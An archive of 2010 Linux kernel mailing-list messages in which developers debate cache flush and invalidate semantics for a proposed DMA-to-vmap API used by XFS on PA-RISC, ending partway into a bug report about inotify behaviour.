Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRBXI-0005j9-AM
	for glka-linux-arch@lo.gmane.org; Sat, 02 Jan 2010 22:29:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751191Ab0ABV3X (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 2 Jan 2010 16:29:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751897Ab0ABV3X
	(ORCPT <rfc822;linux-arch-outgoing>); Sat, 2 Jan 2010 16:29:23 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:59521 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751191Ab0ABV3X (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Sat, 2 Jan 2010 16:29:23 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id o02LRwpw021232;
	Sat, 2 Jan 2010 15:28:09 -0600
In-Reply-To: <20091224123913.GD5335@parisc-linux.org>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4951 gmane.linux.ports.parisc:2540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2540>

On Thu, 2009-12-24 at 05:39 -0700, Matthew Wilcox wrote:
> 
> invalidates the processor cache for a given virtual address range
> in the vmap area.  This API addresses the problem that the processor
> may have performed speculative reads into its cache of the vmapped
> area while I/O was occurring to the underlying physical pages.
> 
> Signed-off-by: Matthew Wilcox <willy@linux.intel.com>

Interestingly, our DMA APIs in this regard are sub-optimal as they
should provide 3 hooks, not 2.

Flush is good for ensuring dirty lines have been pushed out before an
outgoing DMA.

But for incoming DMA it would be nice to properly split the 2 calls that
may be needed on some archs, one before, one after the transfer. Sure,
invalidate twice will "work" but the f will also be sub-optimal on some
platforms depending on whether the platform is known to be able or not
to speculatively load cache lines etc...

Maybe just a "before" vs. "after" argument ?

Also, the proposal goes contrary to most of our DMA APIs which don't
actually expose the details of invalidate vs. flush but instead expose
the direction of the transfer (both lack the above subtlety though).

Thoughts ?

Cheers,
Ben.



From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Sun, 03 Jan 2010 08:33:12 +1100
Lines: 40
Approved: news@gmane.org
Message-ID: <1262467992.2173.247.camel@pasglop>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262468019 24417 80.91.229.12 (2 Jan 2010 21:33:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Jan 2010 21:33:39 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 02 22:33:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRBbH-0005j9-3H
	for glpp-linux-parisc@lo.gmane.org; Sat, 02 Jan 2010 22:33:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751191Ab0ABVdb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Jan 2010 16:33:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751955Ab0ABVdb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 Jan 2010 16:33:31 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:33772 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751191Ab0ABVda (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Jan 2010 16:33:30 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id o02LXCcn021453;
	Sat, 2 Jan 2010 15:33:13 -0600
In-Reply-To: <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2541 gmane.linux.kernel.cross-arch:4952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2541>

On Wed, 2009-12-23 at 15:22 -0600, James Bottomley wrote:
>  #define flush_kernel_dcache_range(start,size) \
>         flush_kernel_dcache_range_asm((start), (start)+(size));
> +/* vmap range flushes and invalidates.  Architecturally, we don't need
> + * the invalidate, because the CPU should refuse to speculate once an
> + * area has been flushed, so invalidate is left empty */
> +static inline void flush_kernel_vmap_range(void *vaddr, int size)
> +{
> +       unsigned long start = (unsigned long)vaddr;
> +
> +       flush_kernel_dcache_range_asm(start, start + size);
> +}
> +static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
> +{
> +}

Do I understand correctly that for an inbound DMA you will first call
flush before starting the DMA, then invalidate at the end of the
transfer ?

See my other message on that subject but I believe this is a sub-optimal
semantic. I'd rather expose separately dma_vmap_sync_outbound vs.
dma_vma_sync_inboud_before vs. dma_vma_sync_inboud_after.

On quite a few archs, an invalidate is a lot faster than a flush (since
it doesn't require a writeback of potentially useless crap to memory)
and for an inbound transfer that doesn't cross cache line boundaries,
invalidate is all that's needed for both before and after. On 44x
additionally I don't need "after" since the core is too dumb to prefetch
(or rather it's disabled due to erratas).

Cheers,
Ben.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Sat, 02 Jan 2010 15:53:10 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <1262469190.2741.27.camel@mulgrave.site>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
	 <1262467992.2173.247.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262469208 27518 80.91.229.12 (2 Jan 2010 21:53:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Jan 2010 21:53:28 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Jan 02 22:53:20 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRBuS-00069A-89
	for glka-linux-arch@lo.gmane.org; Sat, 02 Jan 2010 22:53:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751446Ab0ABVxT (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 2 Jan 2010 16:53:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751685Ab0ABVxT
	(ORCPT <rfc822;linux-arch-outgoing>); Sat, 2 Jan 2010 16:53:19 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47578 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751446Ab0ABVxT (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Sat, 2 Jan 2010 16:53:19 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id EC88E94109;
	Sat,  2 Jan 2010 22:53:17 +0100 (CET)
In-Reply-To: <1262467992.2173.247.camel@pasglop>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4953 gmane.linux.ports.parisc:2542
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2542>

On Sun, 2010-01-03 at 08:33 +1100, Benjamin Herrenschmidt wrote:
> On Wed, 2009-12-23 at 15:22 -0600, James Bottomley wrote:
> >  #define flush_kernel_dcache_range(start,size) \
> >         flush_kernel_dcache_range_asm((start), (start)+(size));
> > +/* vmap range flushes and invalidates.  Architecturally, we don't need
> > + * the invalidate, because the CPU should refuse to speculate once an
> > + * area has been flushed, so invalidate is left empty */
> > +static inline void flush_kernel_vmap_range(void *vaddr, int size)
> > +{
> > +       unsigned long start = (unsigned long)vaddr;
> > +
> > +       flush_kernel_dcache_range_asm(start, start + size);
> > +}
> > +static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
> > +{
> > +}
> 
> Do I understand correctly that for an inbound DMA you will first call
> flush before starting the DMA, then invalidate at the end of the
> transfer ?
> 
> See my other message on that subject but I believe this is a sub-optimal
> semantic. I'd rather expose separately dma_vmap_sync_outbound vs.
> dma_vma_sync_inboud_before vs. dma_vma_sync_inboud_after.

Well, this is such a micro optimisation, is it really worth it?

If I map exactly to architectural operations, it's flush (without
invalidate if possible) before an outbound DMA transfer and nothing
after.  For inbound, it's invalidate before and after (the after only
assuming the architecture can do speculative move in), but doing a flush
first instead of an invalidate on DMA inbound produces a correct result
on architectures I know about.

> On quite a few archs, an invalidate is a lot faster than a flush (since
> it doesn't require a writeback of potentially useless crap to memory)
> and for an inbound transfer that doesn't cross cache line boundaries,
> invalidate is all that's needed for both before and after. On 44x
> additionally I don't need "after" since the core is too dumb to prefetch
> (or rather it's disabled due to erratas).

Your logic assumes the cache line is dirty.  If you look at the XFS
usage, it never seems to do local modifications on a read, so the line
should be clean.  At least on parisc, a flush of a clean cache line is
exactly equivalent to an invalidate.  Even if there's some write into
the read area in xfs I've missed, it's only a few extra cycles because
the lines are mostly clean.

James



From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
 areas
Date: Sat, 02 Jan 2010 15:54:55 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1262469295.2741.30.camel@mulgrave.site>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <20091224100853.GA3165@console-pimps.org>
	 <20091224123913.GD5335@parisc-linux.org>
	 <1262467678.2173.244.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262469314 27789 80.91.229.12 (2 Jan 2010 21:55:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Jan 2010 21:55:14 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Jan 02 22:55:06 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRBw9-00069A-NC
	for glka-linux-arch@lo.gmane.org; Sat, 02 Jan 2010 22:55:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751757Ab0ABVzF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 2 Jan 2010 16:55:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751876Ab0ABVzF
	(ORCPT <rfc822;linux-arch-outgoing>); Sat, 2 Jan 2010 16:55:05 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47626 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751685Ab0ABVzE (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Sat, 2 Jan 2010 16:55:04 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id B28239417A;
	Sat,  2 Jan 2010 22:55:02 +0100 (CET)
In-Reply-To: <1262467678.2173.244.camel@pasglop>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4954 gmane.linux.ports.parisc:2543
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2543>

On Sun, 2010-01-03 at 08:27 +1100, Benjamin Herrenschmidt wrote:
> On Thu, 2009-12-24 at 05:39 -0700, Matthew Wilcox wrote:
> > 
> > invalidates the processor cache for a given virtual address range
> > in the vmap area.  This API addresses the problem that the processor
> > may have performed speculative reads into its cache of the vmapped
> > area while I/O was occurring to the underlying physical pages.
> > 
> > Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
> 
> Interestingly, our DMA APIs in this regard are sub-optimal as they
> should provide 3 hooks, not 2.
> 
> Flush is good for ensuring dirty lines have been pushed out before an
> outgoing DMA.
> 
> But for incoming DMA it would be nice to properly split the 2 calls that
> may be needed on some archs, one before, one after the transfer. Sure,
> invalidate twice will "work" but the f will also be sub-optimal on some
> platforms depending on whether the platform is known to be able or not
> to speculatively load cache lines etc...
> 
> Maybe just a "before" vs. "after" argument ?
> 
> Also, the proposal goes contrary to most of our DMA APIs which don't
> actually expose the details of invalidate vs. flush but instead expose
> the direction of the transfer (both lack the above subtlety though).
> 
> Thoughts ?

Well, that's the result of the email thread.  XFS is poking deeply into
architectural issues by trying to do I/O on a vmap area.  I thought the
consensus was that if xfs wants to do that then it takes complete
responsibility for coherence rather than trying to hide it in a block
API.

James



From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Mon, 04 Jan 2010 07:12:52 +1100
Lines: 63
Approved: news@gmane.org
Message-ID: <1262549572.2173.261.camel@pasglop>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
	 <1262467992.2173.247.camel@pasglop>
	 <1262469190.2741.27.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262549609 30341 80.91.229.12 (3 Jan 2010 20:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Jan 2010 20:13:29 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 03 21:13:20 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRWpE-0001Bn-FX
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jan 2010 21:13:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752299Ab0ACUNU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jan 2010 15:13:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752223Ab0ACUNT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Jan 2010 15:13:19 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:49473 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752000Ab0ACUNT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jan 2010 15:13:19 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id o03KCqxS015457;
	Sun, 3 Jan 2010 14:12:53 -0600
In-Reply-To: <1262469190.2741.27.camel@mulgrave.site>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2544 gmane.linux.kernel.cross-arch:4956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2544>

On Sat, 2010-01-02 at 15:53 -0600, James Bottomley wrote:
> 
> > See my other message on that subject but I believe this is a
> sub-optimal
> > semantic. I'd rather expose separately dma_vmap_sync_outbound vs.
> > dma_vma_sync_inboud_before vs. dma_vma_sync_inboud_after.
> 
> Well, this is such a micro optimisation, is it really worth it?

It's not that "micro" in the sense that flush can take significantly
longer than invalidate. Mostly a non issue except in network.... most
non cache coherent systems are low end and pretty sensitive to that sort
of stuff, especially when used as ... routers :-) But yes, it probably
doesn't matter in your current case of XFS vmap, I was mostly trying to
push toward generically exposing finer interfaces :-) And god knows
who'll use your vmap DMA APIs in the future.

> If I map exactly to architectural operations, it's flush (without
> invalidate if possible) before an outbound DMA transfer and nothing
> after.  For inbound, it's invalidate before and after (the after only
> assuming the architecture can do speculative move in), but doing a
> flush first instead of an invalidate on DMA inbound produces a correct
> result on architectures I know about.

It is correct. Just sub-optimal ;-) However it does handle another quirk
which is side effect on "edges". If all is well, the DMA buffer is
completely self contained in its own cache lines but experience shows
that isn't always the case and it might share a cache line on the edges
(typical with skb's).

This is of course utterly broken except in one case (which I -think- is
the case with skb's) where the data sharing the cache line isn't
accessed during the DMA transfer.

However, for that to work, as you can see, one needs to flush and not
invalidate the "edge" cache lines before the inbound transfer. So your
approach of flush + invalidate is "safer". But I'd still rather have the
semantic exposed at a higher level so that arch can decide what to use
and allow for the micro-optimisation...

> Your logic assumes the cache line is dirty.  If you look at the XFS
> usage, it never seems to do local modifications on a read, so the line
> should be clean.  At least on parisc, a flush of a clean cache line is
> exactly equivalent to an invalidate.  Even if there's some write into
> the read area in xfs I've missed, it's only a few extra cycles because
> the lines are mostly clean.

Right, in your case of vmap, it doesn't seem to be a big deal, but heh,
somebody is bound to use it again for something else right ? :-)

Anyways, just some thoughts I've been having about DMA APIs in general,
I don't say we must change it now, especially not the existing ones, but
for a -new- API like that I would have preferred if it exposed a richer
semantic from day 1.

Cheers,
Ben.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
 areas
Date: Mon, 04 Jan 2010 07:14:21 +1100
Lines: 20
Approved: news@gmane.org
Message-ID: <1262549661.2173.262.camel@pasglop>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <20091224100853.GA3165@console-pimps.org>
	 <20091224123913.GD5335@parisc-linux.org>
	 <1262467678.2173.244.camel@pasglop>
	 <1262469295.2741.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262549708 30622 80.91.229.12 (3 Jan 2010 20:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Jan 2010 20:15:08 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 03 21:14:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRWqp-0001g7-Dh
	for glpp-linux-parisc@lo.gmane.org; Sun, 03 Jan 2010 21:14:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752505Ab0ACUO7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jan 2010 15:14:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752567Ab0ACUO7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Jan 2010 15:14:59 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:49483 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752505Ab0ACUO6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jan 2010 15:14:58 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id o03KEMcs015562;
	Sun, 3 Jan 2010 14:14:23 -0600
In-Reply-To: <1262469295.2741.30.camel@mulgrave.site>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2545 gmane.linux.kernel.cross-arch:4957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2545>

On Sat, 2010-01-02 at 15:54 -0600, James Bottomley wrote:
> Well, that's the result of the email thread.  XFS is poking deeply into
> architectural issues by trying to do I/O on a vmap area.  I thought the
> consensus was that if xfs wants to do that then it takes complete
> responsibility for coherence rather than trying to hide it in a block
> API.

Well, maybe ... Mostly my comment was about the "other" (standard) DMA
APIs, ie, the work you do for XFS just reminded me of that issue I've
been thinking about :-)

Cheers,
Ben.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Unexpected behaviour of idr_get_empty_slot() on parisc
Date: Sun, 03 Jan 2010 23:23:25 +0000
Lines: 94
Approved: news@gmane.org
Message-ID: <1262561005.2238.51.camel@localhost>
References: <20091220234610.GG11237@jade.home>
	 <1261354364.25157.246.camel@localhost>  <20091221003500.GK11237@jade.home>
	 <1261357334.25157.272.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-+Bt2syK3FfD0sTZZw5zB"
X-Trace: ger.gmane.org 1262561017 29204 80.91.229.12 (3 Jan 2010 23:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Jan 2010 23:23:37 +0000 (UTC)
Cc: Ryan Niebur <ryan@debian.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 00:23:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRZnF-0004TU-To
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 00:23:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753131Ab0ACXXa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Jan 2010 18:23:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753135Ab0ACXXa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Jan 2010 18:23:30 -0500
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:41713 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753131Ab0ACXX3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Jan 2010 18:23:29 -0500
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1NRZnB-00044r-VB; Sun, 03 Jan 2010 23:23:26 +0000
Original-Received: from womble by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1NRZnB-0004U1-6V; Sun, 03 Jan 2010 23:23:25 +0000
In-Reply-To: <1261357334.25157.272.camel@localhost>
X-Mailer: Evolution 2.28.2 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2546>


--=-+Bt2syK3FfD0sTZZw5zB
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

Ryan Niebur reported in <http://bugs.debian.org/561880> that on a
PA-RISC system running Linux 2.6.32 the following test case for inotify:

#include <sys/inotify.h>
#include <stdio.h>

int main()
{
